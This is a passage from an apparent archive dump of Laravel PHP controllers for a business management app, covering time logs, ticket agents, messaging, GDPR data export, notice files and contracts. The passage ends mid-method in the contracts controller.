})->when($viewTimelogPermission == 'both', function ($q) { $q->where(function ($q) { $q->where('user_id', '=', user()->id); $q->orWhere('added_by', '=', user()->id); }); }); } $this->activeTimers = $query->get(); $this->tasks = Task::select('tasks.*') ->with('project') ->pending() ->join('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('task_users.user_id', '=', $this->user->id) ->get(); $this->projects = Project::byEmployee(user()->id); $this->selfActiveTimer = $this->myActiveTimer; return view('timelogs.ajax.active_timer', $this->data); } public function byEmployee() { $viewPermission = $this->viewTimelogPermission; abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $this->employees = User::allEmployees(null, true); $this->projects = Project::allProjects(); $this->timeLogProjects = $this->projects; $this->tasks = Task::all(); $this->timeLogTasks = $this->tasks; $this->activeTimers = $this->activeTimerCount; $this->startDate = now()->startOfMonth()->format(company()->date_format); $this->endDate = now()->format(company()->date_format); $this->timelogMenuType = 'byEmployee'; return view('timelogs.by_employee', $this->data); } public function employeeData(Request $request) { $employee = $request->employee; $projectId = $request->projectID; $this->viewTimelogPermission = user()->permission('view_timelogs'); $this->viewTimelogEarningPermission = user()->permission('view_timelog_earnings'); $query = User::with('employeeDetail.designation:id,name') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id'); $where = []; if ($projectId != 'all') { $where[] = ['project_time_logs.project_id', '=', $projectId]; } $query->leftJoin('project_time_logs', function ($join) use ($where) { $join->on('project_time_logs.user_id', '=', 'users.id') ->leftJoin('tasks', 'project_time_logs.task_id', '=', 'tasks.id') // Join tasks table ->whereNull('tasks.deleted_at') // Exclude soft-deleted tasks ->when($where, function ($join, $conditions) { foreach ($conditions as $condition) { $join->where($condition[0], $condition[1], $condition[2] ?? null); } }); }); $query->select([ 'users.id', 'users.name', 'users.image', 'designations.name as designation_name', DB::raw('SUM(project_time_logs.total_minutes) as total_minutes'), DB::raw('SUM(project_time_log_breaks.total_minutes) as total_break_minutes'), DB::raw('SUM(project_time_logs.earnings) as earnings'), ]) ->leftJoin('project_time_log_breaks', function ($join) use ($where) { $join->on('project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->when($where, function ($join, $conditions) { foreach ($conditions as $condition) { $join->where($condition[0], $condition[1], $condition[2] ?? null); } }); }); if (!is_null($employee) && $employee !== 'all') { $query->where('project_time_logs.user_id', $employee); } if ($this->viewTimelogPermission == 'owned') { $query->where('project_time_logs.user_id', user()->id); } else if ($this->viewTimelogPermission == 'added') { $query->where('project_time_logs.added_by', user()->id); } else if ($this->viewTimelogPermission == 'both') { $query->where(function ($q) { $q->where('project_time_logs.added_by', user()->id) ->orWhere('project_time_logs.user_id', '=', user()->id); }); } if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $query->where(DB::raw('DATE(project_time_logs.`start_time`)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $query->where(function ($query) use ($endDate) { $query->where(DB::raw('DATE(project_time_logs.`end_time`)'), '<=', $endDate); }); } } $this->employees = $query->groupBy('project_time_logs.user_id') ->orderBy('users.name') ->get(); $html = view('timelogs.ajax.member-list', $this->data)->render(); return Reply::dataOnly(['html' => $html]); } public function userTimelogs(Request $request) { $employee = $request->employee; $projectId = $request->projectID; $query = ProjectTimeLog::with('project', 'task')->select('*')->whereHas('task', function ($query) { $query->whereNull('deleted_at'); })->where('user_id', $employee); if (!empty($request->startDate) && !empty($request->endDate)) { $startDate = Carbon::createFromFormat($this->company->date_format, $request->startDate)->startOfDay()->toDateTimeString(); $endDate = Carbon::createFromFormat($this->company->date_format, $request->endDate)->endOfDay()->toDateTimeString(); // Apply date filter $query->whereBetween('start_time', [$startDate, $endDate]) ->whereNotNull('end_time'); } if ($projectId != 'all') { $query->where('project_id', $projectId); } $this->timelogs = $query->orderByDesc('end_time')->get(); $html = view('timelogs.ajax.user-timelogs', $this->data)->render(); return Reply::dataOnly(['html' => $html]); } public function approveTimelog(Request $request) { ProjectTimeLog::where('id', $request->id)->update( [ 'approved' => 1, 'approved_by' => user()->id ] ); return Reply::dataOnly(['status' => 'success']); } public function export() { abort_403(!canDataTableExport()); return Excel::download(new EmployeeTimelogs, 'timelogs.xlsx'); } public function pauseTimer(Request $request) { $timeId = $request->timeId; $timeLog = ProjectTimeLog::findOrFail($timeId); $taskUrl = route('tasks.show', $timeLog->task_id); $dashboardUrl = route('dashboard'); $reload = ($request->currentUrl == $taskUrl || $request->currentUrl == $dashboardUrl) ? 'yes' : 'no'; abort_403(!( (($timeLog->project && $timeLog->project->client_id == user()->id) || $timeLog->user_id == user()->id || $timeLog->added_by == user()->id) || ($timeLog->project && ($timeLog->project->project_admin == user()->id)) )); $timeLogBreak = ProjectTimeLogBreak::where('project_time_log_id', $timeLog->id)->whereNull('end_time')->first() ?: new ProjectTimeLogBreak(); $timeLogBreak->project_time_log_id = $timeLog->id; $timeLogBreak->start_time = now(); $timeLogBreak->total_minutes = 0; $timeLogBreak->save(); if (!is_null($timeLog->project_id)) { $this->logProjectActivity($timeLog->project_id, 'modules.tasks.timerPausedBy'); } if (!is_null($timeLog->task_id)) { $this->logTaskActivity($timeLog->task_id, user()->id, 'timerPausedBy'); } $this->logUserActivity($this->user->id, 'modules.tasks.timerPausedBy'); /** @phpstan-ignore-next-line */ $html = $this->showActiveTimer()->render(); $this->selfActiveTimer = $timeLog; $clockHtml = view('sections.timer_clock', $this->data)->render(); return Reply::successWithData(__('messages.timerPausedSuccessfully'), ['html' => $html, 'clockHtml' => $clockHtml, 'reload' => $reload]); } public function resumeTimer(Request $request) { $timeId = $request->timeId; $timeLogBreak = ProjectTimeLogBreak::findOrfail($timeId); $timeLog = ProjectTimeLog::findOrFail($timeLogBreak->project_time_log_id); $taskUrl = route('tasks.show', $timeLog->task_id); $dashboardUrl = route('dashboard'); $reload = ($request->currentUrl == $taskUrl || $request->currentUrl == $dashboardUrl) ? 'yes' : 'no'; abort_403(!( (($timeLog->project && $timeLog->project->client_id == user()->id) || $timeLog->user_id == user()->id || $timeLog->added_by == user()->id) || ($timeLog->project && ($timeLog->project->project_admin == user()->id)) )); $activeTimer = ProjectTimeLog::selfActiveTimer(); $totalActiveTimer = ProjectTimeLog::totalActiveTimer(); $activeBreak = 0; if (count($totalActiveTimer) > 1) { foreach ($totalActiveTimer as $key => $break) { $activeBreak += $break->activeBreak ? 1 : 0; } if ($activeBreak != count($totalActiveTimer)) { return Reply::error(__('messages.timerAlreadyRunning')); } } if (is_null($activeTimer) || (!is_null($activeTimer) && !is_null($activeTimer->activeBreak))) { $endTime = now(); $timeLogBreak->end_time = $endTime; $timeLogBreak->total_hours = $endTime->diffInHours($timeLogBreak->start_time); $timeLogBreak->total_minutes = $endTime->diffInMinutes($timeLogBreak->start_time); $timeLogBreak->save(); if (!is_null($timeLog->task_id)) { $this->logTaskActivity($timeLog->task_id, user()->id, 'timerResumedBy'); } $this->logUserActivity($this->user->id, 'modules.tasks.timerStartedBy'); /** @phpstan-ignore-next-line */ $html = $this->showActiveTimer()->render(); $this->selfActiveTimer = ProjectTimeLog::selfActiveTimer(); $clockHtml = view('sections.timer_clock', $this->data)->render(); return Reply::successWithData(__('messages.timerStartedSuccessfully'), ['html' => $html, 'clockHtml' => $clockHtml, 'reload' => $reload]); } return Reply::error(__('messages.timerAlreadyRunning')); } public function timerData() { $this->selfActiveTimer = ProjectTimeLog::selfActiveTimer(); return Reply::dataOnly(['status' => 'success', 'data' => $this->selfActiveTimer]); } public function stopperAlert($id) { $timeLogg = ProjectTimeLog::findOrFail($id); if (is_null($timeLogg->end_time)) { $totalMinutes = (($timeLogg->activeBreak) ? $timeLogg->activeBreak->start_time->diffInMinutes($timeLogg->start_time) : now()->diffInMinutes($timeLogg->start_time)) - $timeLogg->breaks->sum('total_minutes'); } else { $totalMinutes = $timeLogg->total_minutes - $timeLogg->breaks->sum('total_minutes'); } $timeLogged = CarbonInterval::formatHuman($totalMinutes); /** @phpstan-ignore-line */ return view('timelogs.stopper-alert', ['timeLogg' => $timeLogged, 'timeLog' => $timeLogg]); } } Http/Controllers/TicketAgentController.php000064400000007570150325104510014755 0ustar00pageTitle = 'app.menu.ticketAgents'; $this->activeSettingMenu = 'ticket_settings'; } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->employees = User::join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'users.image', 'users.salutation') ->where('roles.name', 'employee') ->get(); $this->groups = TicketGroup::all(); return view('ticket-settings.create-agent-modal', $this->data); } public function store(StoreAgentGroup $request) { $groups = $request->group_id; foreach ($groups as $group) { $agent = new TicketAgentGroups(); $agent->agent_id = $request->user_id; $agent->group_id = $group; $agent->added_by = user()->id; $agent->save(); } if (request()->ajax()) { $groups = TicketGroup::with('enabledAgents', 'enabledAgents.user')->get(); $agentList = ''; foreach ($groups as $group) { if (count($group->enabledAgents) > 0) { $agentList .= ''; foreach ($group->enabledAgents as $agent) { $agentList .= ''; } $agentList .= ''; } } return Reply::successWithData(__('messages.recordSaved'), ['teamData' => $agentList]); } return Reply::success(__('messages.recordSaved')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { TicketAgentGroups::where('agent_id', $id)->update(['status' => $request->status]); return Reply::success(__('messages.updateSuccess')); } public function updateGroup(UpdateAgentGroup $request, $id) { TicketAgentGroups::where('agent_id', $id)->delete(); foreach($request->groupId as $groupId) { TicketAgentGroups::firstOrCreate([ 'agent_id' => $id, 'group_id' => $groupId ]); } return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { TicketAgentGroups::where('agent_id', $id)->delete(); return Reply::success(__('messages.agentRemoveSuccess')); } public function agentGroups() { $ticketAgentGroup = TicketAgentGroups::where('agent_id', request()->agent_id)->pluck('group_id')->toArray(); if(!empty($ticketAgentGroup)) { $ticketGroup = TicketGroup::whereNotIn('id', $ticketAgentGroup)->get(); return Reply::dataOnly(['data' => $ticketGroup]); } else { $ticketGroup = TicketGroup::all(); return Reply::dataOnly(['data' => $ticketGroup]); } } } Http/Controllers/ClientCategoryController.php000064400000004410150325104510015455 0ustar00categories = ClientCategory::all(); $this->deletePermission = user()->permission('manage_client_category'); return view('clients.create_category', $this->data); } /** * Store a newly created resource in storage. * @param StoreClientCategory $request * @return array */ public function store(StoreClientCategory $request) { $category = new ClientCategory(); $category->category_name = strip_tags($request->category_name); $category->save(); $categoryData = ClientCategory::all(); return Reply::successWithData(__('messages.recordSaved'), ['data' => $categoryData]); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return array|void */ public function update(Request $request, $id) { $this->editPermission = user()->permission('manage_client_category'); abort_403($this->editPermission != 'all'); $category = ClientCategory::findOrFail($id); $category->category_name = strip_tags($request->category_name); $category->save(); $categoryData = ClientCategory::all(); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $categoryData]); } /** * Remove the specified resource from storage. * * @param int $id * @return mixed */ public function destroy($id) { $this->deletePermission = user()->permission('manage_client_category'); abort_403($this->deletePermission != 'all'); $category = ClientCategory::findOrFail($id); $category->delete(); $categoryData = ClientCategory::all(); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $categoryData]); } } Http/Controllers/TicketEmailSettingController.php000064400000001443150325104510016275 0ustar00pageTitle = 'app.menu.emailSync'; $this->activeSettingMenu = 'ticket_settings'; } public function update(UpdateRequest $request, $id) { $emailSetting = TicketEmailSetting::findOrFail($id); $data = $request->all(); if ($request->has('status')) { $data['status'] = 1; } else { $data['status'] = 0; } $emailSetting->update($data); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/GdprController.php000064400000005501150325104510013437 0ustar00pageTitle = 'app.menu.gdpr'; $this->gdprSetting = GdprSetting::first(); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $this->view = 'gdpr.ajax.right-to-informed'; $this->user = User::findOrFail($this->user->id); $this->consents = PurposeConsent::with(['user' => function($query) { $query->where('client_id', $this->user->id) ->orderByDesc('created_at'); }])->get(); $tab = request('tab'); $this->view = match ($tab) { 'right-to-erasure' => 'gdpr.ajax.right-to-erasure', 'right-to-data-portability' => 'gdpr.ajax.right-to-data-portability', 'right-to-access' => 'gdpr.ajax.right-to-access', 'consent' => 'gdpr.ajax.consent', default => 'gdpr.ajax.right-to-informed', }; $this->activeTab = $tab ?: 'right-to-informed'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('gdpr.index', $this->data); } public function updateClientConsent(Request $request) { $allConsents = $request->has('consent_customer') ? $request->consent_customer : []; foreach ($allConsents as $allConsentId => $allConsentStatus) { $newConsentLead = new PurposeConsentUser(); $newConsentLead->client_id = $this->user->id; $newConsentLead->updated_by_id = $this->user->id; $newConsentLead->purpose_consent_id = $allConsentId; $newConsentLead->status = $allConsentStatus; $newConsentLead->ip = $request->ip(); $newConsentLead->save(); } return Reply::success(__('messages.gdprUpdated')); } public function downloadJson(Request $request) { $table = User::with('clientDetails', 'attendance', 'employee', 'employeeDetail', 'projects', 'member', 'group')->findOrFail(user()->id); $filename = Files::UPLOAD_FOLDER.'/user.json'; $handle = fopen($filename, 'w+'); fputs($handle, $table->toJson(JSON_PRETTY_PRINT)); fclose($handle); $headers = array('Content-type' => 'application/json'); return response()->download($filename, 'user.json', $headers); } } Http/Controllers/MessageController.php000064400000027516150325104510014141 0ustar00pageTitle = 'app.menu.messages'; $this->middleware(function ($request, $next) { abort_403(!in_array('messages', $this->user->modules)); return $next($request); }); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function index() { session()->forget('message_setting'); session()->forget('pusher_settings'); $this->messageSetting = message_setting(); abort_403($this->messageSetting->allow_client_admin == 'no' && $this->messageSetting->allow_client_employee == 'no' && in_array('client', user_roles())); if (request()->ajax() && request()->has('term')) { $term = (request('term') != '') ? request('term') : null; if ($term === null) { $userLists = UserChat::userListLatest(user()->id, null); $messageIds = collect($userLists)->pluck('id'); } else { $userLists = UserChat::userListLatest(user()->id, $term); $messages = UserChat::where('message', 'LIKE', "%{$term}%") ->where(function ($query) { $query->where('from', user()->id) ->orWhere('to', user()->id); }) ->get(); $messageIds = collect($userLists)->pluck('id')->merge($messages->pluck('id'))->unique(); } $this->userLists = UserChat::with(['fromUser' => function ($q) { $q->withCount(['unreadMessages']); }, 'toUser' => function ($q) { $q->withCount(['unreadMessages']); }]) ->whereIn('id', $messageIds) ->orderByDesc('id')->get(); $userList = view('messages.user_list', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'userList' => $userList]); } if(request()->clientId) { $this->client = User::findOrFail(request()->clientId); } $userLists = UserChat::userListLatest(user()->id, null); $messageIds = collect($userLists)->pluck('id'); $this->userLists = UserChat::with(['fromUser' => function ($q) { $q->withCount(['unreadMessages']); }, 'toUser' => function ($q) { $q->withCount(['unreadMessages']); }]) ->whereIn('id', $messageIds)->orderByDesc('id')->get(); if(in_array('client', user_roles())) { if ($this->messageSetting->allow_client_employee == 'yes' && $this->messageSetting->restrict_client == 'no') { $this->employees = User::allEmployees(null, true); } else if($this->messageSetting->allow_client_employee == 'yes' && $this->messageSetting->restrict_client == 'yes') { $this->project_id = Project::where('client_id', user()->id)->pluck('id'); $this->user_id = ProjectMember::whereIn('project_id', $this->project_id)->pluck('user_id'); $this->employees = User::whereIn('id', $this->user_id)->get(); } else if ($this->messageSetting->allow_client_admin == 'yes') { $this->employees = User::allAdmins($this->messageSetting->company->id); } else{ $this->employees = []; } } else{ $this->employees = User::allEmployees(null, true, 'all'); } $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; // To show particular user's chat using it's user_id Session::flash('message_user_id', request()->user); return view('messages.index', $this->data); } /** * XXXXXXXXXXXx` * * @return \Illuminate\Http\Response */ public function create() { $this->messageSetting = message_setting(); $this->project_id = Project::where('client_id', user()->id)->pluck('id'); $this->employee_project_id = ProjectMember::where('user_id', user()->id)->pluck('project_id'); $this->employee_user_id = ProjectMember::whereIn('project_id', $this->employee_project_id)->pluck('user_id'); $this->employee_client_id = Project::whereIn('id', $this->employee_project_id )->pluck('client_id'); $this->user_id = ProjectMember::whereIn('project_id', $this->project_id)->pluck('user_id'); if (!in_array('client', user_roles())) { $this->employees = User::allEmployees($this->user->id, true, 'all'); if (in_array('admin', user_roles())) { $this->clients = User::allClients(); } elseif (($this->messageSetting->allow_client_employee == 'yes' && $this->messageSetting->restrict_client == 'no')) { $this->clients = User::allClients(); } else if($this->messageSetting->allow_client_employee == 'yes' && $this->messageSetting->restrict_client == 'yes') { $this->clients = User::whereIn('id', $this->employee_client_id)->get(); } } // This will return true if message button from projects overview button is clicked if(request()->clientId) { $this->clientId = request()->clientId; $this->client = User::findOrFail(request()->clientId); } if(in_array('client', user_roles())) { if ($this->messageSetting->allow_client_employee == 'yes' && $this->messageSetting->restrict_client == 'no') { $this->employees = User::allEmployees(null, true); } else if($this->messageSetting->allow_client_employee == 'yes' && $this->messageSetting->restrict_client == 'yes') { $this->employees = User::whereIn('id', $this->user_id)->get(); } else if ($this->messageSetting->allow_client_admin == 'yes') { $this->employees = User::allAdmins($this->messageSetting->company->id); } else{ $this->employees = []; } } else{ $this->employees = User::allEmployees(null, true, 'all'); } $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; return view('messages.create', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function store(ChatStoreRequest $request) { if ($request->user_type == 'client') { $receiverID = $request->client_id; } else { $receiverID = $request->user_id; } $message = $request->message; if($request->types == 'chat') { $validateModule = $this->validateModule($message); if($validateModule['status'] == false) { return Reply::error($validateModule ['message'] ); } } $message = new UserChat(); $message->message = $request->message; $message->user_one = user()->id; $message->user_id = $receiverID; $message->from = user()->id; $message->to = $receiverID; $message->notification_sent = 0; $message->save(); $userLists = UserChat::userListLatest(user()->id, null); $messageIds = collect($userLists)->pluck('id'); $this->userLists = UserChat::with('fromUser', 'toUser')->whereIn('id', $messageIds)->orderByDesc('id')->get(); $userList = view('messages.user_list', $this->data)->render(); $this->chatDetails = UserChat::chatDetail($receiverID, user()->id); $messageList = view('messages.message_list', $this->data)->render(); return Reply::dataOnly(['user_list' => $userList, 'message_list' => $messageList, 'message_id' => $message->id, 'receiver_id' => $receiverID, 'userName' => $message->toUser->name]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function show($id) { $this->chatDetails = UserChat::chatDetail($id, user()->id); // Mark messages read $updateData = ['message_seen' => 'yes']; UserChat::messageSeenUpdate($this->user->id, $id, $updateData); $this->unreadMessage = (request()->unreadMessageCount > 0) ? 0 : 1; $this->userId = $id; $view = view('messages.message_list', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $view, 'unreadMessages' => $this->unreadMessage, 'id' => $this->userId]); } public function destroy($id) { $userChats = UserChat::findOrFail($id); // Delete chat UserChat::destroy($id); // To reset chat-box if deleted chat is last one between them $chatDetails = UserChat::chatDetail($userChats->from, $userChats->to); return Reply::successWithData(__('messages.deleteSuccess'), ['chat_details' => $chatDetails]); } public function destroyAll($id) { UserChat::where(function ($query) use ($id) { $query->where('from', user()->id) ->where('to', $id); })->orWhere(function ($query) use ($id) { $query->where('from', $id) ->where('to', user()->id); })->delete(); return response()->json(['success' => true, 'message' => __('messages.deleteSuccess')]); } public function fetchUserListView() { $userLists = UserChat::userListLatest(user()->id, null); $messageIds = collect($userLists)->pluck('id'); $this->userLists = UserChat::with(['fromUser' => function ($q) { $q->withCount(['unreadMessages']); }, 'toUser' => function ($q) { $q->withCount(['unreadMessages']); }]) ->whereIn('id', $messageIds)->orderByDesc('id')->get(); // To show particular user's chat using it's user_id Session::flash('message_user_id', request()->user); $userList = view('messages.user_list', $this->data)->render(); return Reply::dataOnly(['user_list' => $userList]); } public function fetchUserMessages($receiverID) { $this->chatDetails = UserChat::chatDetail($receiverID, user()->id); $messageList = view('messages.message_list', $this->data)->render(); return Reply::dataOnly(['message_list' => $messageList]); } public function checkNewMessages() { $newMessageCount = UserChat::where('to', user()->id)->where('message_seen', 'no')->where('notification_sent', 0)->count(); UserChat::where('to', user()->id)->update(['notification_sent' => 1]); // Mark notification as sent return Reply::dataOnly(['new_message_count' => $newMessageCount]); } public function validateModule($message) { if($message == '') { return [ 'status' => false, 'message' => __('messages.fileMessage'), ]; } else{ return [ 'status' => true, ]; } } } Http/Controllers/NoticeFileController.php000064400000006014150325104510014564 0ustar00addPermission = user()->permission('add_notice'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if ($request->hasFile('file')) { foreach ($request->file as $fileData) { $file = new NoticeFile(); $file->notice_id = $request->notice_id; $filename = Files::uploadLocalOrS3($fileData, NoticeFile::FILE_PATH.'/' . $request->notice_id); $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->added_by = user()->id; $file->size = $fileData->getSize(); $file->save(); } return Reply::dataOnly(['status' => 'success']); } } public function destroy($id) { $file = NoticeFile::where('id', $id)->first(); if ($id && $file) { $notice = Notice::findOrFail($file->notice_id); $this->deletePermission = user()->permission('delete_notice'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $notice->added_by == user()->id) || ($this->deletePermission == 'owned' && in_array($notice->to, user_roles())) || ($this->deletePermission == 'both' && (in_array($notice->to, user_roles()) || $notice->added_by == user()->id)) )); $file->delete(); $this->files = NoticeFile::where('notice_id', $file->notice_id)->orderByDesc('id')->get(); $view = view('notices.ajax.files', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } else { return Reply::error(__('messages.fileNotFound')); } } /** * @param int $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse|\Symfony\Component\HttpFoundation\StreamedResponse */ public function download($id) { $file = NoticeFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); $notice = Notice::where('id', $file->notice_id)->firstOrFail(); $this->viewPermission = user()->permission('view_notice'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $notice->added_by == user()->id) || ($this->viewPermission == 'owned' && in_array($notice->to, user_roles())) || ($this->viewPermission == 'both' && (in_array($notice->to, user_roles()) || $notice->added_by == user()->id)) )); return download_local_s3($file, 'notice-files/' . $file->notice_id . '/' . $file->hashname); } } Http/Controllers/ContractController.php000064400000044233150325104510014325 0ustar00pageTitle = 'app.menu.contracts'; $this->middleware(function ($request, $next) { abort_403(!in_array('contracts', $this->user->modules)); return $next($request); }); } public function index(ContractsDataTable $dataTable) { abort_403(user()->permission('view_contract') == 'none'); if (!request()->ajax()) { $this->projects = Project::allProjects(); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } $this->contract = Contract::all(); $this->contractTypes = ContractType::all(); $this->contractCounts = Contract::count(); $this->expiredCounts = Contract::where(DB::raw('DATE(`end_date`)'), '<', now()->format('Y-m-d'))->count(); $this->aboutToExpireCounts = Contract::where(DB::raw('DATE(`end_date`)'), '>', now()->format('Y-m-d')) ->where(DB::raw('DATE(`end_date`)'), '<', now()->timezone($this->company->timezone)->addDays(7)->format('Y-m-d')) ->count(); } return $dataTable->render('contracts.index', $this->data); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { abort_403(user()->permission('delete_contract') !== 'all'); Contract::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } public function destroy($id) { $contract = Contract::findOrFail($id); $this->deletePermission = user()->permission('delete_contract'); $userId = UserService::getUserId(); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $userId == $contract->added_by) || ($this->deletePermission == 'owned' && $userId == $contract->client_id) || ($this->deletePermission == 'both' && ($userId == $contract->client_id || $userId == $contract->added_by) ))); Contract::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function create() { $this->addPermission = user()->permission('add_contract'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->contractId = request('id'); $this->contract = null; if ($this->contractId != '') { $this->contractTemplate = Contract::findOrFail($this->contractId); } $this->templates = ContractTemplate::all(); $this->clients = User::allClients(null, overRidePermission:($this->addPermission == 'all' ? 'all' : null)); $this->contractTypes = ContractType::all(); $this->currencies = Currency::all(); $this->projects = Project::all(); $this->lastContract = Contract::lastContractNumber() + 1; $this->invoiceSetting = invoice_setting(); $this->zero = ''; if (strlen($this->lastContract) < $this->invoiceSetting->contract_digit) { $condition = $this->invoiceSetting->contract_digit - strlen($this->lastContract); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } if (is_null($this->contractId)) { $this->contractTemplate = request('template') ? ContractTemplate::findOrFail(request('template')) : null; } $contract = new Contract(); $getCustomFieldGroupsWithFields = $contract->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->pageTitle = __('app.menu.addContract'); $this->view = 'contracts.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('contracts.create', $this->data); } public function store(StoreRequest $request) { $contract = new Contract(); $this->storeUpdate($request, $contract); return Reply::redirect(route('contracts.index'), __('messages.recordSaved')); } public function edit($id) { $this->editPermission = user()->permission('edit_contract'); $this->contract = Contract::with('signature', 'renewHistory', 'renewHistory.renewedBy') ->findOrFail($id) ->withCustomFields(); $this->projects = Project::all(); $userId = UserService::getUserId(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $userId == $this->contract->added_by) || ($this->editPermission == 'owned' && $userId == $this->contract->client_id) || ($this->editPermission == 'both' && ($userId == $this->contract->client_id || $userId == $this->contract->added_by) ))); $this->clients = User::allClients(null, overRidePermission:($this->editPermission == 'all' ? 'all' : null)); $this->contractTypes = ContractType::all(); $this->currencies = Currency::all(); $this->pageTitle = $this->contract->contract_number; $contract = new Contract(); $getCustomFieldGroupsWithFields = $contract->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'contracts.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('contracts.create', $this->data); } public function update(UpdateRequest $request, $id) { $contract = Contract::findOrFail($id); $this->storeUpdate($request, $contract); return Reply::redirect(route('contracts.index'), __('messages.updateSuccess')); } private function storeUpdate($request, $contract) { $contract->client_id = $request->client_id; $contract->project_id = $request->project_id; $contract->subject = $request->subject; $contract->amount = $request->amount; $contract->currency_id = $request->currency_id; $contract->original_amount = $request->amount; $contract->contract_name = $request->contract_name; $contract->alternate_address = $request->alternate_address; $contract->contract_note = $request->note; $contract->cell = $request->cell; $contract->office = $request->office; $contract->city = $request->city; $contract->state = $request->state; $contract->country = $request->country; $contract->postal_code = $request->postal_code; $contract->contract_type_id = $request->contract_type; $contract->contract_number = $request->contract_number; $contract->start_date = companyToYmd($request->start_date); $contract->original_start_date = companyToYmd($request->start_date); $contract->end_date = $request->end_date == null ? $request->end_date : companyToYmd($request->end_date); $contract->original_end_date = $request->end_date == null ? $request->end_date : companyToYmd($request->end_date); $contract->description = trim_editor($request->description); $contract->contract_detail = trim_editor($request->description); $contract->save(); // To add custom fields data if ($request->custom_fields_data) { $contract->updateCustomFieldData($request->custom_fields_data); } return $contract; } /** * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|mixed|void */ public function show($id) { $viewPermission = user()->permission('view_contract'); $this->addContractPermission = user()->permission('add_contract'); $this->editContractPermission = user()->permission('edit_contract'); $this->deleteContractPermission = user()->permission('delete_contract'); $this->viewDiscussionPermission = $viewDiscussionPermission = user()->permission('view_contract_discussion'); $this->viewContractFilesPermission = $viewContractFilesPermission = user()->permission('view_contract_files'); $this->userId = UserService::getUserId(); $this->cId = $this->id = []; if (in_array('client', user_roles()) && user()->is_client_contact == null) { $this->cId = $this->id = ClientContact::where('user_id', user()->id)->pluck('client_id')->toArray(); } $this->contract = Contract::with(['signature', 'client', 'client.clientDetails', 'files' => function ($q) use ($viewContractFilesPermission) { if ($viewContractFilesPermission == 'added') { $q->where('added_by', $this->userId); } }, 'renewHistory', 'renewHistory.renewedBy', 'discussion' => function ($q) use ($viewDiscussionPermission) { if ($viewDiscussionPermission == 'added') { $q->where('contract_discussions.added_by', $this->userId); } }, 'discussion.user'])->findOrFail($id)->withCustomFields(); abort_403(!( $viewPermission == 'all' || ($viewPermission == 'added' && $this->userId == $this->contract->added_by) || ($viewPermission == 'owned' && $this->userId == $this->contract->client_id) || ($viewPermission == 'both' && ($this->userId == $this->contract->client_id || $this->userId == $this->contract->added_by)) )); $contract = new contract(); $getCustomFieldGroupsWithFields = $contract->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->pageTitle = $this->contract->contract_number; $tab = request('tab'); $this->view = match ($tab) { 'discussion' => 'contracts.ajax.discussion', 'files' => 'contracts.ajax.files', 'renew' => 